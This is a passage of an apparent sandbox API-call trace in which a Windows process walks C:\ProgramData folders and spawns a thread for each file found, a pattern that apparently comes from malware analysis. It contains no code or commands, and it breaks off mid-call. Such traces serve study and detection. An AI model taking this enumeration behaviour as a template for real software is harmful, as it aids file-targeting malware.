nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440660 [0046.806] wcscmp (_String1=".", _String2=".") returned 0 [0046.806] FindNextFileW (in: hFindFile=0x440660, lpFindFileData=0x45b4a8 | out: lpFindFileData=0x45b4a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.806] wcscmp (_String1="..", _String2=".") returned 1 [0046.806] wcscmp (_String1="..", _String2="..") returned 0 [0046.806] FindNextFileW (in: hFindFile=0x440660, lpFindFileData=0x45b4a8 | out: lpFindFileData=0x45b4a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 1 [0046.826] wcscmp (_String1="Replicate", _String2=".") returned 1 [0046.826] wcscmp (_String1="Replicate", _String2="..") returned 1 [0046.826] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a2b0 [0046.827] wcscpy (in: _Dest=0x44a2b0, _Source="C:\\ProgramData\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0" [0046.827] wcscat (in: _Dest=0x44a2b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\" [0046.827] wcscat (in: _Dest=0x44a2b0, _Source="Replicate" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate" [0048.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a2b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678 [0048.904] FindNextFileW (in: hFindFile=0x440660, lpFindFileData=0x45b4a8 | out: lpFindFileData=0x45b4a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 0 [0048.904] FindClose (in: hFindFile=0x440660 | out: hFindFile=0x440660) returned 1 [0048.904] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45b4a8) returned 1 [0048.904] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445180) returned 1 [0048.904] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444b90) returned 1 Thread: id = 247 os_tid = 0xa28 [0046.827] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a790 [0046.827] wcscpy (in: _Dest=0x44a790, _Source="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0" [0046.827] wcscat (in: _Dest=0x44a790, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\" [0046.827] wcscat (in: _Dest=0x44a790, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*" [0046.827] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45b710 [0046.837] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x45b710 | out: lpFindFileData=0x45b710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4400a0 [0047.128] wcscmp (_String1=".", _String2=".") returned 0 [0047.128] FindNextFileW (in: hFindFile=0x4400a0, lpFindFileData=0x45b710 | out: lpFindFileData=0x45b710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.128] wcscmp (_String1="..", _String2=".") returned 1 [0047.128] wcscmp (_String1="..", _String2="..") returned 0 [0047.128] FindNextFileW (in: hFindFile=0x4400a0, lpFindFileData=0x45b710 | out: lpFindFileData=0x45b710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e186d00, ftCreationTime.dwHighDateTime=0x1cfb543, ftLastAccessTime.dwLowDateTime=0x7e186d00, ftLastAccessTime.dwHighDateTime=0x1cfb543, ftLastWriteTime.dwLowDateTime=0x7e186d00, ftLastWriteTime.dwHighDateTime=0x1cfb543, nFileSizeHigh=0x0, nFileSizeLow=0x3d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrSecUpd10111.msp", cAlternateFileName="ADBERD~2.MSP")) returned 1 [0047.128] wcscmp (_String1="AdbeRdrSecUpd10111.msp", _String2=".") returned 1 [0047.128] wcscmp (_String1="AdbeRdrSecUpd10111.msp", _String2="..") returned 1 [0047.128] FindNextFileW (in: hFindFile=0x4400a0, lpFindFileData=0x45b710 | out: lpFindFileData=0x45b710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4450880, ftCreationTime.dwHighDateTime=0x1cf6c45, ftLastAccessTime.dwLowDateTime=0xb4450880, ftLastAccessTime.dwHighDateTime=0x1cf6c45, ftLastWriteTime.dwLowDateTime=0xb4450880, ftLastWriteTime.dwHighDateTime=0x1cf6c45, nFileSizeHigh=0x0, nFileSizeLow=0x10e3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10110_MUI.msp", cAlternateFileName="ADBERD~1.MSP")) returned 1 [0047.128] wcscmp (_String1="AdbeRdrUpd10110_MUI.msp", _String2=".") returned 1 [0047.128] wcscmp (_String1="AdbeRdrUpd10110_MUI.msp", _String2="..") returned 1 [0047.128] FindNextFileW (in: hFindFile=0x4400a0, lpFindFileData=0x45b710 | out: lpFindFileData=0x45b710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2540cc00, ftCreationTime.dwHighDateTime=0x1d1056e, ftLastAccessTime.dwLowDateTime=0x2540cc00, ftLastAccessTime.dwHighDateTime=0x1d1056e, ftLastWriteTime.dwLowDateTime=0x2540cc00, ftLastWriteTime.dwHighDateTime=0x1d1056e, nFileSizeHigh=0x0, nFileSizeLow=0x109d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10116_MUI.msp", cAlternateFileName="ADBERD~3.MSP")) returned 1 [0047.128] wcscmp (_String1="AdbeRdrUpd10116_MUI.msp", _String2=".") returned 1 [0047.128] wcscmp (_String1="AdbeRdrUpd10116_MUI.msp", _String2="..") returned 1 [0047.129] FindNextFileW (in: hFindFile=0x4400a0, lpFindFileData=0x45b710 | out: lpFindFileData=0x45b710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2540cc00, ftCreationTime.dwHighDateTime=0x1d1056e, ftLastAccessTime.dwLowDateTime=0x2540cc00, ftLastAccessTime.dwHighDateTime=0x1d1056e, ftLastWriteTime.dwLowDateTime=0x2540cc00, ftLastWriteTime.dwHighDateTime=0x1d1056e, nFileSizeHigh=0x0, nFileSizeLow=0x109d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10116_MUI.msp", cAlternateFileName="ADBERD~3.MSP")) returned 0 [0047.129] FindClose (in: hFindFile=0x4400a0 | out: hFindFile=0x4400a0) returned 1 [0047.129] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45b710) returned 1 [0047.129] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a790) returned 1 [0047.129] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414570) returned 1 Thread: id = 248 os_tid = 0x8f4 [0046.848] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x414308 [0046.849] wcscpy (in: _Dest=0x414308, _Source="C:\\ProgramData\\Microsoft\\RAC\\Outbound" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Outbound") returned="C:\\ProgramData\\Microsoft\\RAC\\Outbound" [0046.849] wcscat (in: _Dest=0x414308, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\") returned="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\" [0046.849] wcscat (in: _Dest=0x414308, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\*") returned="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\*" [0046.849] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45b978 [0046.849] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\*", lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4406a0 [0046.849] wcscmp (_String1=".", _String2=".") returned 0 [0046.849] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.849] wcscmp (_String1="..", _String2=".") returned 1 [0046.849] wcscmp (_String1="..", _String2="..") returned 0 [0046.849] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0046.849] FindClose (in: hFindFile=0x4406a0 | out: hFindFile=0x4406a0) returned 1 [0046.849] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45b978) returned 1 [0046.849] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414308) returned 1 [0046.849] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4147d8) returned 1 Thread: id = 249 os_tid = 0xa2c [0046.851] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x446188 [0046.851] wcscpy (in: _Dest=0x446188, _Source="C:\\ProgramData\\Microsoft\\RAC\\PublishedData" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\PublishedData") returned="C:\\ProgramData\\Microsoft\\RAC\\PublishedData" [0046.851] wcscat (in: _Dest=0x446188, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\") returned="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\" [0046.851] wcscat (in: _Dest=0x446188, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\*") returned="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\*" [0046.851] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45b978 [0046.851] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\*", lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8b803ea0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8b803ea0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4406a0 [0046.852] wcscmp (_String1=".", _String2=".") returned 0 [0046.852] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8b803ea0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8b803ea0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.852] wcscmp (_String1="..", _String2=".") returned 1 [0046.852] wcscmp (_String1="..", _String2="..") returned 0 [0046.852] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8b803ea0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8b850160, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 1 [0046.852] wcscmp (_String1="RacWmiDatabase.sdf", _String2=".") returned 1 [0046.852] wcscmp (_String1="RacWmiDatabase.sdf", _String2="..") returned 1 [0046.852] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x446550 [0046.852] wcscpy (in: _Dest=0x446550, _Source="C:\\ProgramData\\Microsoft\\RAC\\PublishedData" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\PublishedData") returned="C:\\ProgramData\\Microsoft\\RAC\\PublishedData" [0046.852] wcscat (in: _Dest=0x446550, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\") returned="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\" [0046.852] wcscat (in: _Dest=0x446550, _Source="RacWmiDatabase.sdf" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" [0047.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0047.902] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8b803ea0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8b850160, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 0 [0047.902] FindClose (in: hFindFile=0x4406a0 | out: hFindFile=0x4406a0) returned 1 [0047.902] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45b978) returned 1 [0047.902] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446188) returned 1 [0047.902] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a010) returned 1 Thread: id = 250 os_tid = 0x92c [0046.852] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a7f0 [0046.852] wcscpy (in: _Dest=0x44a7f0, _Source="C:\\ProgramData\\Microsoft\\RAC\\StateData" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData" [0046.852] wcscat (in: _Dest=0x44a7f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData\\") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData\\" [0046.853] wcscat (in: _Dest=0x44a7f0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData\\*") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData\\*" [0046.853] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45bbe0 [0046.853] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\*", lpFindFileData=0x45bbe0 | out: lpFindFileData=0x45bbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8b803ea0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8b803ea0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4406e0 [0046.853] wcscmp (_String1=".", _String2=".") returned 0 [0046.853] FindNextFileW (in: hFindFile=0x4406e0, lpFindFileData=0x45bbe0 | out: lpFindFileData=0x45bbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8b803ea0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8b803ea0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.853] wcscmp (_String1="..", _String2=".") returned 1 [0046.853] wcscmp (_String1="..", _String2="..") returned 0 [0046.853] FindNextFileW (in: hFindFile=0x4406e0, lpFindFileData=0x45bbe0 | out: lpFindFileData=0x45bbe0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb35800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xecb35800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xbddb7d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacDatabase.sdf", cAlternateFileName="RACDAT~1.SDF")) returned 1 [0046.853] wcscmp (_String1="RacDatabase.sdf", _String2=".") returned 1 [0046.853] wcscmp (_String1="RacDatabase.sdf", _String2="..") returned 1 [0046.853] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x4187d0 [0046.853] wcscpy (in: _Dest=0x4187d0, _Source="C:\\ProgramData\\Microsoft\\RAC\\StateData" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData" [0046.853] wcscat (in: _Dest=0x4187d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData\\") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData\\" [0046.853] wcscat (in: _Dest=0x4187d0, _Source="RacDatabase.sdf" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" [0047.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4187d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c [0047.904] FindNextFileW (in: hFindFile=0x4406e0, lpFindFileData=0x45bbe0 | out: lpFindFileData=0x45bbe0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0xbddddec0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="RACMET~1.DAT")) returned 1 [0047.904] wcscmp (_String1="RacMetaData.dat", _String2=".") returned 1 [0047.904] wcscmp (_String1="RacMetaData.dat", _String2="..") returned 1 [0047.904] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5e45e18 [0047.904] wcscpy (in: _Dest=0x5e45e18, _Source="C:\\ProgramData\\Microsoft\\RAC\\StateData" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData" [0047.904] wcscat (in: _Dest=0x5e45e18, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData\\") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData\\" [0047.904] wcscat (in: _Dest=0x5e45e18, _Source="RacMetaData.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat" [0047.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e45e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4 [0047.905] FindNextFileW (in: hFindFile=0x4406e0, lpFindFileData=0x45bbe0 | out: lpFindFileData=0x45bbe0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0xbddddec0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="RACMET~1.DAT")) returned 0 [0047.905] FindClose (in: hFindFile=0x4406e0 | out: hFindFile=0x4406e0) returned 1 [0047.905] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45bbe0) returned 1 [0047.905] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a7f0) returned 1 [0047.905] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414830) returned 1 Thread: id = 251 os_tid = 0x91c [0046.853] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x4451d0 [0046.853] wcscpy (in: _Dest=0x4451d0, _Source="C:\\ProgramData\\Microsoft\\RAC\\Temp" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp" [0046.853] wcscat (in: _Dest=0x4451d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp\\") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp\\" [0046.853] wcscat (in: _Dest=0x4451d0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp\\*") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp\\*" [0046.854] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x484fe0 [0046.854] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\*", lpFindFileData=0x484fe0 | out: lpFindFileData=0x484fe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8b9ccf20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8b9ccf20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440720 [0046.854] wcscmp (_String1=".", _String2=".") returned 0 [0046.854] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x484fe0 | out: lpFindFileData=0x484fe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8b9ccf20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8b9ccf20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.854] wcscmp (_String1="..", _String2=".") returned 1 [0046.854] wcscmp (_String1="..", _String2="..") returned 0 [0046.854] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x484fe0 | out: lpFindFileData=0x484fe0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8b9a6dc0, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x8b9a6dc0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8b9a6dc0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql4874.tmp", cAlternateFileName="")) returned 1 [0046.854] wcscmp (_String1="sql4874.tmp", _String2=".") returned 1 [0046.854] wcscmp (_String1="sql4874.tmp", _String2="..") returned 1 [0046.854] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x4461f0 [0046.854] wcscpy (in: _Dest=0x4461f0, _Source="C:\\ProgramData\\Microsoft\\RAC\\Temp" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp" [0046.854] wcscat (in: _Dest=0x4461f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp\\") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp\\" [0046.854] wcscat (in: _Dest=0x4461f0, _Source="sql4874.tmp" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql4874.tmp") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql4874.tmp" [0048.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 